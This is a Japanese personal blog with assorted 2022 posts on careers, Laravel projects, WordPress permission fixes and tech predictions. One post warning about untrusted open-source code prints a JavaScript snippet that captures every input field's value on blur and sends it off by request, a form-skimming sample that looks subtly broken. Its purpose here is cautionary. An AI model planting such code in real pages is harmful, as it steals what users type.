国民年金の老後の支払金額を見ると愕然とします。この金額だったら２０代から投資信託や株式投資に廻しておけば良かったと大反省しています。２０代のNISAの認知力は結構高いらしいです、それぐらい先が不安を感じているだろうなと。

でも、それよりか人生楽しんだ方がお得です。それが今の答えかな、お金を持っていても老後の心配がなくなるだけで活発的に動けるのは若いうちだけだと。そんなお金では変えない時間が大事ですね😌。

自分が老いて生きているかも分からないわけですから、ある程度の貯蓄は必要だと思いますが楽しみを我慢してまでの貯蓄、投資は禁物です。

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アディアの倉庫とアイディアの具現化の二本立て。

2022.08.17

Logging

おはようございます、お盆休み終わり今日から出社の人も多いかと思います。お疲れ様です😌。

AIはオープンソース化される流れが続いていますよね。これからの時代、アイディアとITリテラシー、そして自分でコードを書ける力が有る人は個人で何かしらサービスを作りだす事ができる様になってきている様に感じます🙄。

サービスを作るのに一番、必要なのは情熱。パッション無くして個人で開発は無理です。特に一年以上開発に時間をかけるサービスを開発する場合は情熱が大事になります。これは自分が体感した事なので分かるのですが、開発規模が大規模になれば成る程「本当に使ってくれる人がいるのだろうか」という不安な気持ちになり、その気持が増していくと開発が途中で止まってしまう事さえあります。

自分は作れる力はあるのに、その事で何度も開発を辞めた経緯があります。一つのサービスを個人で開発する場合、情熱がすごく大事になると痛感、折れない心（メンタル）大事です。なので、自分で自分に「大丈夫何とかなる」と暗示をかけるのも一つの手段なのかも知れません。

自分は３つのサービスのアイディアが浮かんでいます、１つ目のサービスは前から作ろうとして頓挫してしまったサービスです。後の２つは最近思い付いたサービスです。これらをLaravelを用いて開発を行います。出来れば今年中に一つのサービスはリリースしたい🔥🔥🔥。

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Laravelで再構築した2bbs-video.comをヨロシク😌

2022.08.10

Logging

こんにちは、よさこいをしている踊り子さん達へ、熱中症にはお気をつけてくださいませ。

本日はあまり使用されていなかった、2bbs-video.comをLaravelで再構築したお話を記載します。2bbs-video.comはYOUTUBE動画を共有するのに特化したサイトになります。当然、YOUTUBEのアドレスのない投稿はできません。今のところ動画の投稿内容は管理人が独断と偏見で管理します、その為、投稿していた内容が削除されるという事もあります。

サイトをLaravelで再構築していて、ページネーションが半端ないぐらい楽に生成できたのは凄く便利だなって感じましたが、逆にベタで構築できる技術も必要じゃないかなって思います。

そしてLaravelにはパッケージが豊富にあるのだけど、正直な所、どれが良いパッケージ（有名所）なのか分からないので調べる必要があるなって感じました。それまでは自分で作るしか無いかもしれない、そういう所などの経験値を積まないとLaravelゴリゴリ使えますとは言えないなと。ただ、大体の勘所は掴めましたね。あとは習うより慣れろ感覚でいろいろと制作していきます😌。

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英語学習用、サイトを構築中。基本自分用（お裾分け😌）

2022.08.05

Logging

おはようございます。今日はウォーキングしてきましたよ。自分が歩いているのは超早期です（笑

さて、自分用に英語学習用サイトを構築中です（現在進行形）。主に単語を覚えるためだけのサイトです、毎日数十単語の入力しています。1800単語まで数日はかかりそうですが全部、手動で入れます。因みに自分が学習しているのは中学生レベルです。中学生の英語を網羅するには1800単語を覚えないといけないらしいです。その作業が終わって自分が1800単語を覚えたら次は高校生で覚える単語も別途ページを構えて作ろうと思っています。

因みにサイトはシンプルで自分にとっては効率が良い作りを追求しようと思っていますので、あまりごちゃごちゃしたサイトにはしないで、必要最低限の作りのサイトで運用しようと思っています。その為、広告などは貼らないです。また、Topページ（358tool.com）では今後、いろいろなツールを作っていきますので、TOPページではそのリンクと概要を記載していきます。サービスは自分が欲しいと思ったものを中心に構築していきます、尚、広告を貼るサービスもありますので悪しからず！

では、今後とも宜しくお願い致します🙇。

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円安って海外圏のアファリエイトとかしている人には！！

2022.07.13

Logging

おはようございます。来週は全体的に雨模様らしいのですが晴れてたりするのでしょうか？（予約投稿です）

さて、今日のお題「円安って海外圏のアファリエイトとかしている人には！！」ですが、円安はドル払いしてくれるので、とてもウハウハですね、多分、YOUTUBERさんとか今、結構儲かっている人が多いと思います、羨ましい限りです。自分も月にサーバー代の収益が入っていきます。

有り難いことです。ただ書いているだけでお金を生み出しているのは凄いことだなって思います。好きで書いていることがお金に変換できるって素晴らしいと思いますし、ブログなんて誰でも出来ますし、アファリエイトの広告も審査に受かれば掲載することも可能です。

広告審査はある程度、アクセス数と記事の信頼性が必要になると思います、自分も再審査を何度か受けた事があります。収益は高収入まではまだまだです。もし高校生や小学生だったら毎月のお小遣い代を自分で稼ぐ事を自分はしていたと思います、書くことにより自分の知識も増えたりして良いじゃないかと思いますね。但し、未成年の場合、アフェリエイトの規約で駄目な場合もあるかもなので、そこは注意してください。

ともあれ無料から利益を得るには何か創作することが一番の近道だと思います、尚、いろいろと掛け合わすことでココだけしか読めない記事になり、其れが大衆に受けが良かった場合、それだけで生活できると思っても良いです。

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カウントダウンしなくても片手で数えれる日数。

2022.07.11

Logging

おはようございます。毎日の事を淡々とこなしていたら、もうあと数日で今の会社を退職することになります。

先日いろいろな動画を見て結局のところ何か自分が掲げた目標で成功する方法はコレだなと思いましたので書いていきます。

何か自分が掲げた目標で成功する方法は、熱意をもって毎日のことをこなしていく事だと誰かが言っていました。ある程度、目標は必要ですがやり続ける熱意や努力がある人のほうが実になる人が多いだとか、逆に計画的に物事を進めようとしても上手くいかない事が多く、失敗するケースが多いのだとか。

これを聞いて「確かにそうだよな」と感じましたね、人生って思い通りにいかないものですよね。自分の思い通りにならないのが人生だと。思い通りになるとある意味、それは怖い事なのかもしれません。

あと掲げた目標に到達したいのならば、小さな目標をいくつも掲げると良い、例えば毎日のアクセス数をいついつまでに、１０人、１０人の目標が達成できたら次は２０人と少しだけ目標を上げる、その連続で目標に近づく、もしくは達成することが出来ます。目標の修正と見直し（改善）も大事です。

目標に達成したければもう一つ大事になるのが、己を知るという事らしいです。自分はどんな人であるのかを深掘りしていき、欠点や優位性を箇条書きにして俯瞰することが大事になるらしいです。

そして達成するかどうかは徹頭徹尾の力がないと無理なのかも。

以上、動画を見て自分なりにまとめてみました。

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Twitter創業者ジャック・ドーシーだけど質問ある？WIREDの動画。

2022.07.04

Logging

おはようございます。

「Twitter創業者ジャック・ドーシーだけど質問ある？」WIREDの動画が結構、良質だな。とは言ってもイーロン・マスク氏の買収提案でジャック・ドーシー氏、会長を退いたからこれから、Twitterの開発に指示は出せないだろうけど、いろいろな機能はそのうち、リリースされそうですね。

エモーション（感情）の表現が豊かになるにはフェイスブックの用にエモーションアイコンが必要だろうきっと、その方が情報分別しやくなるし、利益とも結びやすくなるじゃないかなって思います。ツイ廃の人には今後、どんな機能が実装されるかわかるのでWIREDの動画は価値あると感じました。

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WPでWeb サーバーにアクセスする必要がありますの対処編：インフラ周り。

2022.07.03

Logging

おはようございます。WP（ワードプレス）でテーマや更新の際にFTPやSFTPのパスワードを求められたときの対処を記載します。この問題はApacheサーバーでもエンジンエックス(Nginx)でも対応は同じです。巷ではApacheグループに任意のユーザー名を付与しなさいという記載がありますが、其れだけでは駄目な場合があるのです。

gpasswd -a [ユーザー名] [グループに追加したいユーザー名]
gpasswd -a hoge apache

なので、phpのphp-fpm.dのディレクトリ配下にあるwww.confファイルの記載（user名とグループ名）を変更してあげる必要があります。変更後、php-fpmとhttpdを再起動してあげてください。

sudo vi /etc/php-fpm.d/www.conf
sudo systemctl restart php-fpm
sudo systemctl restart httpd

そうすれば、「Web サーバーにアクセスする必要があります」というような文言は非表示なり問題なく動作すると思います。

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物体認識ではラズパイが必ず必要でもないとふと思った。

2022.06.24

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おはようございます。記事の投稿の時間帯から変えようか悩んでいます。

さて、今日のお題は「物体認識ではラズパイが必ず必要でもないとふと思った。」です。Iot（Internet of Things）で脚光を浴びたのが小さなパソコンとも言われるラズベリーパイです。これを使用して温度計や湿度、気圧などを測ったりそれを記憶出来たりします。ラズパイにカメラを接続し機械学習させて物体認識なども可能です。

ただ、物体認識に言えばお使いのWindowsやMacの入ったパソコンでもそういや出来てしまうなと思ったので、それを記事にしました。物体認識で重要なのはやはり学習なのですが世の中にはオープンソースで機械学習をある程度してくれているモデルが出回っています。なので、そちらをベースに再学習させる事により学習が可能かと思います。

物体認識するためには、WEBカメラが必要ですし、機械学習が出来る環境構築も必要になります。例えばTensorFlow(テンソルフロー)が動作出来る環境だとか、、、因みに古いパソコンでもTensorFlow(テンソルフロー)のバージョンを変えれば動きます。githubのmasterを使用せず古いバージョンを使いさえすれば。

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AWSの本とデザイン系の本を読んだので。

2022.06.21

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おはようございます。今週は雨が多いみたいですね。

さて先週、AWSの仕組みとサービスがたった１日でよくわかる本を読みました、パラパラと電子書籍リーダーで読みましたが、アレですね、、全然使いこなせてないなって感じたのですが機能を使用するとその分、使用料金が発生するので今のところは今の機能だけで十分かなって感じています。サービス内容や仕組みはとても理解しやすい感じがしましたが、IT素人にはあまり向いていないじゃないかなっていう感じがしましたので、ある程度、ITリテラシーが必要とされます。

次に読んだのが動くWEBデザインアイディア帳ですが、これは自分にはあまり必要なかった感が強い本です。どちらかと言えば駆け出しのWEBエンジニアが読んで置くと、商談時に実装できる出来ないの判断材料になります。自分の場合、駆け出しエンジニアでは無いので大体のことは出来ますで返答しています。特に実装しているシステム変更は大体のことは出来るですけどたまに、レンタルサーバーでは出来ないことも出てきますので、そういう注意は必要です。また、この本の後半あたり？から、実装の仕方も書かれていたりするので駆け出しのWEBエンジニアには結構良い本だと思います。

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雇われてお金を稼ぐこととフリーでお金を稼ぐこと。

2022.06.20

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おはよう御座います。今日は全国的に雨なのかな？円安大丈夫かな？

人のふんどしで相撲を取るってことわざを思い出したので。今日のお題である「雇われてお金を稼ぐこととフリーでお金を稼ぐこと」を書いていきます。最初に結論を書くと雇われるという生き方は大変だけどフリーランスで稼ぐよりかは幾分楽なんですよって話です。

今の職業に就く前はフリーで一年間ほど活動していました、正確に言うと就職活動を主にしてフリーランスはちょっちしていました。それでも一からお金を生み出すということは大変だと実感しました。やり甲斐はあると思いますが、突き通すには結構な覚悟が必要かなって思います。

雇われて生きていくのは、何だかんだで楽なんですよ。経営者やフリーは毎月のお金を生み出す仕組みやそれを維持していくなどが大変です。従業員が多くなるほどお給与もその分支払わないといけないし、光熱費や何やらも伸し掛かってくる訳ですからね、そして経営が傾く場合だってあるわけですからね。

なので、自分はフリーはオススメしません、余程、副業が上手く回っている人じゃないとその道に進まない方が良いです。

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悪意になるコードそうだよねぇ～オープンソース怖い。

2022.06.01

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おはようございます。６月が始まりました。

今日のお題は「悪意になるコードそうだよねぇ～オープンソース怖い。」です。

こう思ったのは結構前からなのですが、今回、コードマフィアさんのYOUTUBE動画を見て再確認にした次第です。因みにこのソースコードが動くかどうかは知りません。

コードマフィアさんもお話されている通り、公式サイトで公開されているアプリ以外は注意が必要です、例えば無料配布サイトやgithubなどに置いてあるコードを実装するとかは、信頼性のないものは自らコードチェックを行わないと悪意のコードが入っていたという事もあるので・・・。

気をつけてくださいな😎

(function(){
    const doc = document.querySelectorAll("input");
    doc.forEach((e,k,p)=>{
        p[k].addEventListener("blur",(e)=>{
            var data = {};
            data["name"] = e.target.name;
            data["value"] = e.target.value;
            send1(data);
        });
    });
})();

function send1(data){
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "/?${data.name}=${data.value}", true);
    xhr.onload = function (e) {
      if (xhr.readyState === 4) {
        if (xhr.status === 200) {
          console.log(xhr.responseText);
        } else {
          console.error(xhr.statusText);
        }
      }
    };
    xhr.onerror = function (e) {
      console.error(xhr.statusText);
    };
    xhr.send(null);     
}

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6, const, doc, document, foreach, function, github, gt, input, querySelectorAll, quot, youtube, アプリ, オープン, お話, コード, サイト, ソース, チェック, マフィア, もの, 事, 今回, 今日, 信頼性, 公式, 公開, 前, 動画, 実装, 必要, 悪意, 次第, 気, 注意, 無料, 確認, 自ら, 通り, 配布, 題,

先を読む。未来を読む。

2022.05.31

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おはようございます。５月も最後ですね、今年は梅雨入りしても即、梅雨明けするじゃないかって思っています。それがぐらい晴天の日が多い気がします。

今日のお題は「先を読む。未来を読む。」です、この力は何だか人より自分は強い気がします。そんな自分が今、未来はこうなると思っているのは、プログラマーという職は数十年後にはなくなっている気がする。コードはAIが自然言語から理解し生成してくれるので、AIが書いたコードを修正する人や正しく機能しているかなどを修正する人が必要になるぐらいなる。

デジタルの価値は限りなくZEROに近くなると思います。誰でもサービスが創り出せる世の中が到来する。これからはプラットフォームやコミュニティーを作れる人のほうが将来性があると思っていて、デジタルを知っていてそれを活かしつつ人との繋がりを提供するそういう環境やサービスを提供するほうが良いと考えている。昔も今も人は欲している。特に同じ考えを持った人々と語り合いたいと思っているので、デジタルを入り口にそういう環境を提供する人が生き残っていくだろうと。

自動運転だけが走る世の中になる、これは数十年先の話だけど恐らくそうなる。そうなったら殆ど交通事故がなくなるので、交通事故が重大事件のように放送されるだろうな。

自分たちが生きているうちに若返りが出来るようになる。たぶん、数年後には若返りの方法は発見され治療法が確立されるのに数年かかると思うけど、若返りは可能になると思います。それも注射一本で効果が現れると思います。これで世の中、大きく変わる特に日本は後期高齢者社会だったものが・・・、大きく変わると思います。

自分が考える未来を箇条書きに書いてみました…。こんなの当たらないよとか、失笑するかも知れませんが、多分これ。

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